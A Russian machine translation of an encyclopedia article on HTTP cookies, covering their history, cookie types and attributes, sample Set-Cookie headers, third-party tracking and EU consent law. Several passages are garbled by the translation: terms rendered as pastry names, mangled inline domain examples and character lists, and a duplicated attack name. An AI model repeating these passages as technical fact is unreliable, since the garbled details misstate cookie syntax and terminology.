stringtranslate.com

HTTP-куки

Файлы cookie HTTP (также называемые веб-файлами cookie , Интернет-файлами cookie , файлами cookie браузера или просто файлами cookie ) представляют собой небольшие блоки данных, создаваемые веб-сервером , когда пользователь просматривает веб -сайт , и размещаемые на компьютере пользователя или другом устройстве веб-браузером пользователя . Файлы cookie размещаются на устройстве, используемом для доступа к веб-сайту, и во время сеанса на устройстве пользователя может быть размещено более одного файла cookie.

Файлы cookie выполняют полезные, а иногда и важные функции в Интернете . Они позволяют веб-серверам хранить информацию о состоянии (например, товары, добавленные в корзину в интернет-магазине ) на устройстве пользователя или отслеживать активность пользователя в Интернете (включая нажатие определенных кнопок, вход в систему или запись посещенных страниц в прошлое ). [1] Их также можно использовать для сохранения информации, которую пользователь ранее ввел в поля формы , такой как имена, адреса, пароли и номера платежных карт, для последующего использования.

Файлы cookie аутентификации обычно используются веб-серверами для проверки того, что пользователь вошел в систему и с какой учетной записью он вошел в систему. Без файлов cookie пользователям необходимо будет аутентифицировать себя, входя в систему на каждой странице, содержащей конфиденциальную информацию, к которой они хотят получить доступ. . Безопасность файла cookie аутентификации обычно зависит от безопасности выдающего его веб-сайта и веб-браузера пользователя, а также от того, зашифрованы ли данные файла cookie . Уязвимости безопасности могут позволить злоумышленнику прочитать данные файла cookie , использовать их для получения доступа к пользовательским данным или использовать для получения доступа (с учетными данными пользователя) к веб-сайту, которому принадлежит файл cookie (см. межсайтовый скриптинг и межсайтовый скриптинг ). подделка запроса на сайт для примера). [2]

Отслеживающие файлы cookie , и особенно сторонние файлы cookie, обычно используются в качестве способа составления долгосрочных записей истории посещений отдельных лиц — потенциальная проблема конфиденциальности , которая побудила законодателей Европы [3] и США принять меры в 2011 году. [4] [5] Европейское законодательство требует, чтобы все веб-сайты, ориентированные на государства-члены Европейского Союза, получали « информированное согласие » пользователей перед сохранением несущественных файлов cookie на их устройствах.

Фон

HTTP-файлы cookie имеют то же название, что и популярная выпечка .

Происхождение имени

Термин «cookie» был придуман программистом веб-браузера Лу Монтулли . Оно произошло от термина «волшебный cookie» , который представляет собой пакет данных, который программа получает и отправляет обратно в неизмененном виде, используемый программистами Unix . [6] [7]

История

Волшебные файлы cookie уже использовались в вычислениях, когда в июне 1994 года программисту Лу Монтулли пришла в голову идея использовать их в веб-коммуникациях. [8] В то время он был сотрудником компании Netscape Communications , которая разрабатывала приложение электронной коммерции для MCI. . Винт Серф и Джон Кленсин представляли MCI в технических переговорах с Netscape Communications. MCI не хотела, чтобы ее серверы сохраняли частичные состояния транзакций, поэтому они попросили Netscape вместо этого найти способ хранить это состояние на компьютере каждого пользователя. Файлы cookie позволили решить проблему надежной реализации виртуальной корзины покупок . [9] [10]

В том же году вместе с Джоном Джаннандреа Монтулли написал первоначальную спецификацию файлов cookie Netscape. Версия 0.9beta Mosaic Netscape , выпущенная 13 октября 1994 года, [11] [12] поддерживала файлы cookie. [10] Первое использование файлов cookie (вне лабораторных исследований) заключалось в проверке того, посещали ли посетители веб-сайта Netscape этот сайт. Монтулли подал заявку на патент на технологию файлов cookie в 1995 году, который был выдан в 1998 году. [13] Поддержка файлов cookie была интегрирована в Internet Explorer в версии 2, выпущенной в октябре 1995 года. [14]

В то время появление файлов cookie не было широко известно общественности. В частности, файлы cookie принимались по умолчанию, и пользователи не были уведомлены об их наличии. [ нужна цитата ] Общественность узнала о файлах cookie после того, как Financial Times опубликовала о них статью 12 февраля 1996 года. [15] В том же году файлы cookie привлекли большое внимание средств массовой информации, особенно из-за потенциальных последствий для конфиденциальности. Файлы cookie обсуждались на двух слушаниях Федеральной торговой комиссии США в 1996 и 1997 годах. [2]

Разработка формальных спецификаций файлов cookie уже продолжается. В частности, первые обсуждения официальной спецификации начались в апреле 1995 года в списке рассылки www-talk . В рамках Internet Engineering Task Force (IETF) была сформирована специальная рабочая группа . Два альтернативных предложения по введению состояния в HTTP-транзакции были предложены Брайаном Белендорфом и Дэвидом Кристолом соответственно. Но группа, возглавляемая самим Кристолом и Лу Монтулли, вскоре решила использовать спецификацию Netscape в качестве отправной точки. В феврале 1996 года рабочая группа определила сторонние файлы cookie как серьезную угрозу конфиденциальности. Спецификация, разработанная группой, в конечном итоге была опубликована как RFC 2109 в феврале 1997 года. В ней указано, что сторонние файлы cookie либо вообще не разрешены, либо, по крайней мере, не включены по умолчанию. [16] В это время рекламные компании уже использовали сторонние файлы cookie. Рекомендация RFC 2109 о сторонних файлах cookie не была соблюдена Netscape и Internet Explorer. RFC 2109 был заменен RFC 2965 в октябре 2000 года.

В RFC 2965 добавлено Set-Cookie2 поле заголовка , которое неофициально стало называться «cookie-файлами в стиле RFC 2965», в отличие от исходного Set-Cookieполя заголовка, которое называлось «cookie-файлами в стиле Netscape». Однако [17] [18] Set-Cookie2 использовался редко и был объявлен устаревшим в RFC 6265 в апреле 2011 года, который был написан как окончательная спецификация для файлов cookie, используемых в реальном мире. [19] Ни один современный браузер не распознает Set-Cookie2поле заголовка. [20]

Терминология

Сеансовый файл cookie

Сеансовый файл cookie (также известный как файл cookie в памяти , временный файл cookie или непостоянный файл cookie ) существует только во временной памяти, пока пользователь перемещается по веб-сайту. [21] Срок действия файлов cookie сеанса истекает или они удаляются, когда пользователь закрывает веб-браузер. [22] Сеансовые файлы cookie идентифицируются браузером по отсутствию назначенной для них даты истечения срока действия.

Постоянный файл cookie

Срок действия постоянного файла cookie истекает в определенную дату или по истечении определенного периода времени. В течение срока действия постоянного файла cookie, установленного его создателем, его информация будет передаваться на сервер каждый раз, когда пользователь посещает веб-сайт, которому он принадлежит, или каждый раз, когда пользователь просматривает ресурс, принадлежащий этому веб-сайту, с другого веб-сайта (например, рекламу). ).

По этой причине постоянные файлы cookie иногда называют файлами cookie отслеживания [ нужна ссылка ] , поскольку они могут использоваться рекламодателями для записи информации о привычках пользователя просматривать веб-страницы в течение длительного периода времени. Постоянные файлы cookie также используются по таким причинам, как сохранение входа пользователей в свои учетные записи на веб-сайтах, чтобы избежать повторного ввода учетных данных при каждом посещении. (См. § Использование ниже.)

Безопасный файл cookie

Безопасный файл cookie может передаваться только через зашифрованное соединение (т. е. HTTPS ). Их нельзя передавать по незашифрованным соединениям (т. е. HTTP ). Это снижает вероятность кражи файлов cookie в результате подслушивания . Файл cookie становится безопасным путем добавления Secureфлага к файлу cookie.

Файл cookie только для HTTP

Доступ к файлу cookie только для http невозможен с помощью клиентских API, таких как JavaScript . Это ограничение устраняет угрозу кражи файлов cookie с помощью межсайтового скриптинга (XSS). [23] Однако файл cookie остается уязвимым для атак межсайтовой трассировки (XST) и подделки межсайтовых запросов (CSRF). Файлу cookie присваивается эта характеристика путем добавления HttpOnlyк нему флага.

Файл cookie того же сайта

В 2016 году в Google Chrome версии 51 был представлен [24] новый вид файлов cookie с атрибутом SameSiteс возможными значениями Strict, Laxили None. [25] При использовании атрибута SameSite=Strictбраузеры будут отправлять файлы cookie только в целевой домен, который совпадает с исходным доменом. Это эффективно смягчит атаки с подделкой межсайтовых запросов (CSRF). [26] При использовании SameSite=Laxбраузеры будут отправлять файлы cookie с запросами на целевой домен, даже если он отличается от исходного домена, но только для безопасных запросов, таких как GET (POST небезопасен), а не сторонних файлов cookie (внутри iframe). Атрибут SameSite=Noneпозволяет использовать сторонние (межсайтовые) файлы cookie, однако для большинства браузеров требуется безопасный атрибут для файлов cookie SameSite=None. [27]

Файл cookie того же сайта включен в новый проект RFC «Файлы cookie: механизм управления состоянием HTTP» [28] для обновления RFC 6265 (в случае одобрения).

Chrome, Firefox и Edge начали поддерживать файлы cookie одного сайта. [29] Ключом к развертыванию является обработка существующих файлов cookie без определенного атрибута SameSite. Chrome обрабатывает эти существующие файлы cookie так, как будто SameSite=None, что позволит всем веб-сайтам и приложениям работать как раньше. Google намеревался изменить это значение по умолчанию на SameSite=LaxChrome 80, выпуск которого запланирован на февраль 2020 года, [30] но из-за потенциальной поломки тех приложений/веб-сайтов, которые полагаются на сторонние/межсайтовые файлы cookie, а также из-за обстоятельств COVID-19 , Google отложил это изменение до Chrome 84. [31] [32]

Суперпеченье

Суперкуки — это файлы cookie, источником которых является домен верхнего уровня (например, ) или общедоступный суффикс (например, ) . Обычные файлы cookie, напротив, имеют происхождение от определенного доменного имени, например ..com.co.ukexample.com

Суперкуки могут представлять потенциальную угрозу безопасности и поэтому часто блокируются веб-браузерами. В случае разблокировки браузером злоумышленник, контролирующий вредоносный веб-сайт, может установить суперкуки и потенциально нарушить или выдать себя за законные запросы пользователей на другой веб-сайт, который использует тот же домен верхнего уровня или общедоступный суффикс, что и вредоносный веб-сайт. Например, суперкуки с источником .com, могут злонамеренно повлиять на запрос, отправленный на example.com, даже если куки-файл исходит не от example.com. Это может быть использовано для подделки входа в систему или изменения информации о пользователе.

Список общедоступных суффиксов [33] помогает снизить риск, который представляют суперкуки. Список общедоступных суффиксов — это инициатива нескольких поставщиков, целью которой является предоставление точного и актуального списка суффиксов доменных имен. Более старые версии браузеров могут не иметь обновленного списка и поэтому будут уязвимы для суперкуки из определенных доменов.

Другое использование

Термин «суперкуки» иногда используется для обозначения технологий отслеживания, которые не используют файлы cookie HTTP. В августе 2011 года на веб-сайтах Microsoft были обнаружены два таких механизма суперкуки : синхронизация файлов cookie, которая порождала файлы cookie MUID (уникальный идентификатор компьютера), и файлы cookie ETag . [34] Из-за внимания средств массовой информации Microsoft позже отключила этот код. [35] В сообщении в блоге 2021 года Mozilla использовала термин «суперкуки» для обозначения использования кеша браузера как средства отслеживания пользователей на разных сайтах. [36]

Зомби-печенье

Зомби -куки — это данные и код, которые были размещены веб-сервером на компьютере посетителя или другом устройстве в скрытом месте за пределами выделенного места хранения куки-файлов веб-браузера посетителя и которые автоматически воссоздают HTTP-куки-файл как обычный куки-файл после исходный файл cookie был удален. Файл cookie-зомби может храниться в нескольких местах, таких как общий объект Flash Local , веб-хранилище HTML5 и других местах на стороне клиента и даже на стороне сервера, и когда в одном из мест обнаруживается отсутствие, отсутствующий экземпляр воссоздается с помощью код JavaScript, использующий данные, хранящиеся в других местах. [37] [38]

Стена печенья

На веб-сайте появляется стена файлов cookie и информирует пользователя об использовании файлов cookie на веб-сайте. У него нет возможности отклонения, и веб-сайт недоступен без файлов cookie отслеживания.

Состав

Файл cookie состоит из следующих компонентов: [39] [40] [41]

  1. Имя
  2. Ценить
  3. Ноль или более атрибутов ( пар имя/значение ). Атрибуты хранят такую ​​информацию, как срок действия файла cookie, домен и флаги (например, Secureи HttpOnly).

Использование

Управление сеансами

Первоначально файлы cookie были созданы для того, чтобы предоставить пользователям возможность записывать товары, которые они хотят приобрести, при навигации по веб-сайту (виртуальная корзина для покупок или корзина для покупок ). [9] [10] Однако сегодня содержимое корзины пользователя обычно хранится в базе данных на сервере, а не в файле cookie на клиенте. Чтобы отслеживать, какой пользователь к какой корзине покупок привязан, сервер отправляет клиенту файл cookie, который содержит уникальный идентификатор сеанса (обычно длинную строку случайных букв и цифр). Поскольку файлы cookie отправляются на сервер при каждом запросе клиента, этот идентификатор сеанса будет отправляться обратно на сервер каждый раз, когда пользователь посещает новую страницу веб-сайта, что позволяет серверу узнать, какую корзину покупок отображать пользователю.

Еще одно популярное использование файлов cookie — вход на веб-сайты. Когда пользователь посещает страницу входа на веб-сайт, веб-сервер обычно отправляет клиенту файл cookie, содержащий уникальный идентификатор сеанса. Когда пользователь успешно входит в систему, сервер запоминает, что этот конкретный идентификатор сеанса был аутентифицирован, и предоставляет пользователю доступ к своим службам.

Поскольку файлы cookie сеанса содержат только уникальный идентификатор сеанса, это делает объем личной информации о каждом пользователе, которую веб-сайт может сохранить, практически безграничным — веб-сайт не ограничен ограничениями относительно размера файла cookie. Сеансовые файлы cookie также помогают сократить время загрузки страницы, поскольку объем информации в сеансовых файлах cookie невелик и требует небольшой пропускной способности.

Персонализация

Файлы cookie могут использоваться для запоминания информации о пользователе, чтобы с течением времени показывать этому пользователю релевантный контент. Например, веб-сервер может отправить файл cookie, содержащий имя пользователя, которое в последний раз использовалось для входа на веб-сайт, чтобы оно могло быть заполнено автоматически при следующем входе пользователя в систему.

Многие веб-сайты используют файлы cookie для персонализации на основе предпочтений пользователя. Пользователи выбирают свои предпочтения, вводя их в веб-форму и отправляя форму на сервер. Сервер кодирует настройки в файле cookie и отправляет его обратно в браузер. Таким образом, каждый раз, когда пользователь заходит на страницу веб-сайта, сервер может персонализировать страницу в соответствии с предпочтениями пользователя. Например, поисковая система Google однажды использовала файлы cookie, чтобы позволить пользователям (даже незарегистрированным) решать, сколько результатов поиска на странице они хотят видеть. Кроме того, DuckDuckGo использует файлы cookie, чтобы пользователи могли устанавливать предпочтения просмотра, например цвета веб-страницы.

Отслеживание

Отслеживающие файлы cookie используются для отслеживания привычек пользователей при просмотре веб-страниц. В некоторой степени это также можно сделать, используя IP-адрес компьютера, запрашивающего страницу, или поле Referer заголовка HTTP- запроса, но файлы cookie обеспечивают большую точность. Это можно продемонстрировать следующим образом:

  1. Если пользователь запрашивает страницу сайта, но запрос не содержит файлов cookie, сервер предполагает, что это первая страница, посещенная пользователем. Таким образом, сервер создает уникальный идентификатор (обычно строку случайных букв и цифр) и отправляет его в виде файла cookie обратно в браузер вместе с запрошенной страницей.
  2. С этого момента файл cookie будет автоматически отправляться браузером на сервер каждый раз, когда запрашивается новая страница сайта. Сервер не только отправляет страницу как обычно, но также сохраняет URL-адрес запрошенной страницы, дату/время запроса и файл cookie в файле журнала.

Анализируя этот файл журнала, можно узнать, какие страницы посещал пользователь, в какой последовательности и как долго.

Корпорации используют веб-привычки пользователей, отслеживая файлы cookie для сбора информации о покупательских привычках. Газета Wall Street Journal обнаружила, что на пятидесяти крупнейших веб-сайтах Америки было установлено в среднем шестьдесят четыре технологии отслеживания на компьютерах, в результате чего в общей сложности было создано 3180 файлов отслеживания. [42] Затем данные могут быть собраны и проданы корпорациям, участвующим в торгах.

Выполнение

Возможное взаимодействие между веб-браузером и веб-сервером, содержащим веб-страницу, при котором сервер отправляет браузеру файл cookie, а браузер отправляет его обратно при запросе другой страницы.

Файлы cookie представляют собой произвольные фрагменты данных, обычно выбираемые и сначала отправляемые веб-сервером, а затем сохраняемые на клиентском компьютере веб-браузером. Затем браузер отправляет их обратно на сервер с каждым запросом, добавляя состояния (память о предыдущих событиях) в HTTP -транзакции без сохранения состояния . Без файлов cookie каждый запрос веб-страницы или компонента веб-страницы был бы изолированным событием, практически не связанным со всеми другими просмотрами страниц, совершаемыми пользователем на веб-сайте. Хотя файлы cookie обычно устанавливаются веб-сервером, они также могут быть установлены клиентом с использованием языка сценариев, такого как JavaScript (если не установлен флаг файла cookie HttpOnly, в этом случае файл cookie не может быть изменен с помощью языков сценариев).

Спецификации файлов cookie [43] [44] требуют, чтобы браузеры соответствовали следующим требованиям для поддержки файлов cookie:

Установка файла cookie

Файлы cookie устанавливаются с использованием Set-Cookie поля заголовка , отправляемого в ответе HTTP от веб-сервера. Это поле заголовка указывает веб-браузеру хранить файл cookie и отправлять его обратно при будущих запросах на сервер (браузер будет игнорировать это поле заголовка, если он не поддерживает файлы cookie или отключил файлы cookie).

Например, браузер отправляет свой первый HTTP-запрос на домашнюю страницу www.example.orgвеб-сайта:

GET  /index.html  HTTP / 1.1 Хост :  www.example.org ...

Сервер отвечает двумя Set-Cookieполями заголовка:

HTTP / 1.0  200  OK Тип контента :  text/html Set-Cookie :  theme=light Set-Cookie :  sessionToken=abc123; Срок действия истекает=Ср, 09 июня 2021 г., 10:18:14 GMT ...

HTTP-ответ сервера содержит содержимое домашней страницы веб-сайта. Но он также предписывает браузеру установить два файла cookie. Первый, theme , считается файлом cookie сеанса, поскольку у него нет атрибута Expiresили Max-Age. Сеансовые файлы cookie предназначены для удаления браузером при его закрытии. Второй, sessionToken , считается постоянным файлом cookie , поскольку он содержит Expiresатрибут, который указывает браузеру удалить файл cookie в определенную дату и время.

Далее браузер отправляет еще один запрос на посещение spec.htmlстраницы на сайте. Этот запрос содержит Cookieполе заголовка, содержащее два файла cookie, которые сервер поручил браузеру установить:

GET  /spec.html  HTTP / 1.1 Хост :  www.example.org Файл cookie :  theme=light; sessionToken=abc123 

Таким образом, сервер узнает, что этот HTTP-запрос связан с предыдущим. Сервер ответит, отправив запрошенную страницу, возможно, включив дополнительные Set-Cookieполя заголовков в ответ HTTP, чтобы дать браузеру указание добавить новые файлы cookie, изменить существующие файлы cookie или удалить существующие файлы cookie. Чтобы удалить файл cookie, сервер должен включить Set-Cookieполе заголовка с датой истечения срока действия в прошлом.

Значение файла cookie может состоять из любого печатаемого символа ASCII! ( через Unicode ) ~, за исключением символов и и пробелов . В имени файла cookie исключены те же символы, а также символ , поскольку он является разделителем между именем и значением. Стандарт файлов cookie RFC 2965 является более ограничительным, но не реализуется браузерами. \u0021\u007E,;=

Термин «крошка файла cookie» иногда используется для обозначения пары «имя-значение» файла cookie. [45]

Файлы cookie также могут устанавливаться с помощью языков сценариев, таких как JavaScript , которые запускаются в браузере. В JavaScript document.cookieдля этой цели используется объект . Например, инструкция document.cookie = "temperature=20"создает файл cookie с именем температуры и значением 20 . [46]

Атрибуты файлов cookie

Помимо имени и значения файлы cookie также могут иметь один или несколько атрибутов. Браузеры не включают атрибуты файлов cookie в запросы к серверу — они отправляют только имя и значение файла cookie. Атрибуты файлов cookie используются браузерами, чтобы определить, когда следует удалить файл cookie, заблокировать его или отправить файл cookie на сервер.

Домен и путь

Атрибуты Domainи Pathопределяют область действия файла cookie. По сути, они сообщают браузеру, какому веб-сайту принадлежит файл cookie. По соображениям безопасности файлы cookie можно устанавливать только для верхнего домена текущего ресурса и его поддоменов, но не для другого домена и его поддоменов. Например, веб-сайт example.orgне может установить файл cookie с доменом, foo.comпоскольку это позволит веб-сайту example.orgконтролировать файлы cookie домена foo.com.

Если файлы cookie Domainи Pathатрибуты не указаны сервером, по умолчанию они используют домен и путь к запрошенному ресурсу. [47] Однако в большинстве браузеров существует разница между набором файлов cookie foo.comбез домена и файлом cookie с foo.comдоменом. В первом случае файл cookie будет отправляться только для запросов к foo.com, также известный как файл cookie только для хоста. В последнем случае также включаются все поддомены (например, docs.foo.com). [48] ​​[49] Заметным исключением из этого общего правила является Edge до Windows 10 RS3 и Internet Explorer до IE 11 и Windows 10 RS4 (апрель 2018 г.), который всегда отправляет файлы cookie в поддомены независимо от того, был ли файл cookie установлен с помощью или без домена. [50]

Ниже приведен пример некоторых Set-Cookieполей заголовка в HTTP-ответе веб-сайта после входа пользователя в систему. HTTP-запрос был отправлен на веб-страницу в docs.foo.comсубдомене:

HTTP / 1.0  200  ОК Set-Cookie :  LSID=DQAAAK…Eaem_vYg; Путь=/аккаунты; Срок действия истекает = среда, 13 января 2021 г., 22:23:01 по Гринвичу; Безопасный; HttpOnly Set-Cookie :  HSID=AYQEVn…DKrdst; Домен=.foo.com; Путь=/; Срок действия истекает = среда, 13 января 2021 г., 22:23:01 по Гринвичу; HttpOnly Set-Cookie :  SSID=Ap4P…GTEq; Домен=foo.com; Путь=/; Срок действия истекает = среда, 13 января 2021 г., 22:23:01 по Гринвичу; Безопасный; Только HTTP 

Первый файл cookie LSIDне имеет Domainатрибута и имеет Pathатрибут, равный /accounts. Это указывает браузеру использовать файл cookie только при запросе страниц, содержащихся в docs.foo.com/accounts(домен является производным от домена запроса). Два других файла cookie HSIDи SSIDбудут использоваться, когда браузер запрашивает любой поддомен по .foo.comлюбому пути (например www.foo.com/bar, ). Точка в начале не является обязательной в последних стандартах, но ее можно добавить для совместимости с реализациями на основе RFC 2109. [51]

Срок действия и максимальный возраст

Атрибут Expiresопределяет конкретную дату и время, когда браузер должен удалить файл cookie. Дата и время указываются в форме Wdy, DD Mon YYYY HH:MM:SS GMT, или в форме Wdy, DD Mon YY HH:MM:SS GMTдля значений YY, где YY больше или равно 0 и меньше или равно 69. [52]

В качестве альтернативы Max-Ageатрибут можно использовать для установки срока действия файла cookie в будущем в секундах относительно времени, когда браузер получил файл cookie. Ниже приведен пример трех Set-Cookieполей заголовка, которые были получены с веб-сайта после входа пользователя в систему:

HTTP / 1.0  200  ОК Set-Cookie :  lu=Rg3vHJZnehYLjVg7qi3bZjzg; Срок действия истекает = вторник, 15 января 2013 г., 21:47:38 по Гринвичу; Путь=/; Домен=.example.com; HttpOnly Set-Cookie :  made_write_conn=1295214458; Путь=/; Domain=.example.com Set-Cookie :  reg_fb_gate=deleted; Срок действия истекает = четверг, 1 января 1970 г., 00:00:01 по Гринвичу; Путь=/; Домен=.example.com; HttpOnly

Срок действия первого файла cookie, lu, истекает где-то 15 января 2013 года. До этого времени он будет использоваться клиентским браузером. Второй файл cookie made_write_connне имеет срока действия, что делает его сеансовым файлом cookie. Он будет удален после того, как пользователь закроет браузер. reg_fb_gateЗначение третьего файла cookie изменено на «удален» , срок действия которого уже истек. Браузер немедленно удалит этот файл cookie, поскольку срок его действия уже прошел. Обратите внимание, что файл cookie будет удален только в том случае, если атрибуты домена и пути в Set-Cookieполе соответствуют значениям, использованным при создании файла cookie.

По состоянию на 2016 год Internet Explorer не поддерживал файлы Max-Age. [53] [54]

Безопасный и только Http

Атрибуты Secureи HttpOnlyне имеют связанных значений. Скорее, наличие только имен их атрибутов указывает на то, что их поведение должно быть включено.

Этот Secureатрибут предназначен для того, чтобы передача файлов cookie ограничивалась зашифрованной передачей, предписывая браузерам использовать файлы cookie только через безопасные/зашифрованные соединения. Однако если веб-сервер устанавливает файл cookie с атрибутом безопасности из незащищенного соединения, файл cookie все равно может быть перехвачен при отправке пользователю с помощью атак «человек посередине» . Поэтому для максимальной безопасности файлы cookie с атрибутом Secure следует устанавливать только через безопасное соединение.

Этот HttpOnlyатрибут предписывает браузерам не предоставлять файлы cookie через каналы, отличные от запросов HTTP (и HTTPS). Это означает, что к файлу cookie нельзя получить доступ через языки сценариев на стороне клиента (в частности, JavaScript ), и, следовательно, его нельзя легко украсть с помощью межсайтового сценария (техника всеобъемлющей атаки). [55]

Настройки браузера

Большинство современных браузеров поддерживают файлы cookie и позволяют пользователю отключать их. Ниже приведены распространенные варианты: [56]

Также существуют дополнительные инструменты для управления разрешениями на использование файлов cookie. [57] [58] [59] [60]

Сторонний файл cookie

Файлы cookie имеют важные последствия для конфиденциальности и анонимности веб-пользователей. Хотя файлы cookie отправляются только на сервер, устанавливающий их, или на сервер в том же интернет-домене, веб-страница может содержать изображения или другие компоненты, хранящиеся на серверах в других доменах. Файлы cookie, которые устанавливаются во время получения этих компонентов, называются сторонними файлами cookie . Сторонний файл cookie принадлежит домену, отличному от того, который указан в адресной строке. Этот тип файлов cookie обычно появляется, когда веб-страницы содержат контент с внешних веб-сайтов, например рекламные баннеры . Это открывает возможности для отслеживания истории посещений пользователя и используется рекламодателями для показа релевантной рекламы каждому пользователю.

В этом вымышленном примере рекламная компания разместила баннеры на двух веб-сайтах. Размещая изображения баннеров на своих серверах и используя сторонние файлы cookie, рекламная компания может отслеживать просмотр пользователей на этих двух сайтах.

В качестве примера предположим, что пользователь посещает www.example.org. Этот веб-сайт содержит рекламу от ad.foxytracking.com, которая при загрузке устанавливает файл cookie, принадлежащий домену рекламы ( ad.foxytracking.com). Затем пользователь посещает другой веб-сайт, www.foo.comкоторый также содержит рекламу ad.foxytracking.comи устанавливает файл cookie, принадлежащий этому домену ( ad.foxytracking.com). В конечном итоге оба этих файла cookie будут отправлены рекламодателю при загрузке его рекламы или посещении его веб-сайта. Рекламодатель может затем использовать эти файлы cookie для создания истории посещений пользователем всех веб-сайтов, на которых есть реклама этого рекламодателя, посредством использования поля заголовка HTTP-реферера .

По состоянию на 2014 год некоторые веб-сайты устанавливали файлы cookie, доступные для чтения более чем 100 сторонним доменам. [61] В среднем на одном веб-сайте устанавливалось 10 файлов cookie, при этом максимальное количество файлов cookie (основных и сторонних) достигало более 800. [62]

Более старые стандарты файлов cookie, RFC 2109 [16] и RFC 2965, рекомендуют браузерам защищать конфиденциальность пользователей и по умолчанию не разрешать обмен файлами cookie между серверами. Однако новый стандарт RFC 6265 явно позволяет пользовательским агентам реализовывать любую политику сторонних файлов cookie, которую они пожелают. Большинство современных веб-браузеров содержат настройки конфиденциальности , которые могут блокировать сторонние файлы cookie. С 2020 года Apple Safari , [63] Firefox , [64] и Brave [65] по умолчанию блокируют все сторонние файлы cookie. Safari позволяет встроенным сайтам использовать API доступа к хранилищу для запроса разрешения на установку собственных файлов cookie. В мае 2020 года в Google Chrome 83 были представлены новые функции для блокировки сторонних файлов cookie по умолчанию в режиме инкогнито для частного просмотра, что сделало блокировку необязательной во время обычного просмотра. В том же обновлении также добавлена ​​возможность блокировать основные файлы cookie. [66] По состоянию на апрель 2024 года Chrome по умолчанию отложил блокировку сторонних файлов cookie до 2025 года. [67]

Конфиденциальность

Возможность создания профилей пользователей представляет собой угрозу конфиденциальности, особенно когда отслеживание осуществляется на нескольких доменах с использованием сторонних файлов cookie. По этой причине в некоторых странах действует законодательство о файлах cookie.

Операторы веб-сайтов, которые не раскрывают потребителям информацию об использовании сторонних файлов cookie, рискуют подорвать доверие потребителей, если использование файлов cookie будет обнаружено. Четкое раскрытие информации (например, в политике конфиденциальности ) обычно устраняет любые негативные последствия такого обнаружения файлов cookie. [68] [ не удалось проверить ]

Правительство Соединенных Штатов установило строгие правила установки файлов cookie в 2000 году после того, как стало известно, что отдел политики Белого дома по борьбе с наркотиками использовал файлы cookie для отслеживания пользователей компьютеров, просматривающих его онлайн-рекламу, направленную против наркотиков. В 2002 году активист по защите конфиденциальности Дэниел Брандт обнаружил, что ЦРУ оставляло постоянные файлы cookie на компьютерах, которые посещали его веб-сайт. Получив уведомление о нарушении политики, ЦРУ заявило, что эти файлы cookie не были установлены намеренно, и прекратило их установку. 25 декабря 2005 года Брандт обнаружил, что Агентство национальной безопасности (АНБ) оставило два постоянных файла cookie на компьютерах посетителей из-за обновления программного обеспечения. Получив сообщение, АНБ немедленно отключило файлы cookie. [69]

Директива ЕС о файлах cookie

В 2002 году Европейский Союз принял Директиву о конфиденциальности и электронных коммуникациях (Директива о конфиденциальности электронных данных), политику, требующую согласия конечных пользователей на размещение файлов cookie и аналогичных технологий для хранения и доступа к информации на пользовательском оборудовании. [70] [71] В частности, пункт 3 статьи 5 предписывает, что хранение технически ненужных данных на компьютере пользователя может осуществляться только в том случае, если пользователю предоставлена ​​информация о том, как эти данные используются, и пользователю предоставлена ​​возможность отрицать это. операция хранения. Директива не требует от пользователей авторизации или предоставления уведомления об использовании файлов cookie, которые функционально необходимы для предоставления запрошенной ими услуги, например, для сохранения настроек, сохранения сеансов входа в систему или запоминания того, что находится в корзине покупок пользователя. [72]

В 2009 году в закон были внесены поправки Директивой 2009/136/EC, которая включала изменение в параграф 3 статьи 5. Вместо того, чтобы предоставить пользователям возможность отказаться от хранения файлов cookie, пересмотренная Директива требует получения согласия на использование файлов cookie. хранилище. [71] Определение согласия перекрестно ссылается на определение в европейском законодательстве о защите данных, сначала в Директиве о защите данных 1995 года, а затем в Общем регламенте защиты данных (GDPR). Поскольку определение согласия было усилено в тексте GDPR, это привело к повышению качества согласия, требуемого теми, кто хранит и получает доступ к такой информации, как файлы cookie, на устройствах пользователей. Однако в деле, решенном в соответствии с Директивой о защите данных, Суд Европейского Союза позже подтвердил, что предыдущий закон подразумевал такое же строгое качество согласия, как и действующий документ. [73] В дополнение к требованию согласия, которое вытекает из хранения или доступа к информации на конечном устройстве пользователя, информация во многих файлах cookie будет считаться личными данными только в соответствии с GDPR, и для обработки потребуется юридическое основание. Так было со времени принятия Директивы о защите данных 1995 года, в которой использовалось идентичное определение персональных данных, хотя GDPR в пояснительной части 30 уточняет, что сюда включены идентификаторы файлов cookie. Хотя не вся обработка данных в соответствии с GDPR требует согласия, характеристики поведенческой рекламы означают, что ее трудно или невозможно оправдать каким-либо другим основанием. [74] [75]

Согласие в соответствии с GDPR и Директивой о конфиденциальности в Интернете должно соответствовать ряду условий в отношении файлов cookie. [76] Оно должно быть предоставлено свободно и недвусмысленно: предварительно отмеченные поля были запрещены как Директивой о защите данных 1995 года [73] , так и GDPR (декларативная часть 32). [77] В GDPR конкретно указано, что согласие должно быть «легко отозвать, как и дать», [77] это означает, что кнопка «отклонить все» должна быть так же легкодоступна с точки зрения кликов и видимости, как и кнопка «принять все». . [76] Оно должно быть конкретным и информированным, то есть согласие относится к конкретным целям использования этих данных, и все организации, желающие использовать это согласие, должны быть конкретно названы. [78] [79] Суд Европейского Союза также постановил, что согласие должно быть «эффективным и своевременным», то есть оно должно быть получено до того, как будут установлены файлы cookie и начнется обработка данных, а не после этого. [80]

Реакция отрасли была в основном негативной. Роберт Бонд из юридической фирмы Speechly Bircham описывает последствия как «далеко идущие и невероятно обременительные» для «всех британских компаний». Саймон Дэвис из Privacy International утверждает, что надлежащее правоприменение «уничтожит всю отрасль». [81] Однако ученые отмечают, что обременительный характер всплывающих окон с файлами cookie проистекает из попытки продолжать использовать бизнес-модель посредством запутанных запросов, которые могут быть несовместимы с GDPR. [74]

